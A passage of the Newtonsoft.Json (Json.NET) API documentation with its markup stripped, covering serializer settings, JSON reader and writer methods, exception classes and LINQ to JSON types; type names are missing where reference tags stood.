+ + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Gets 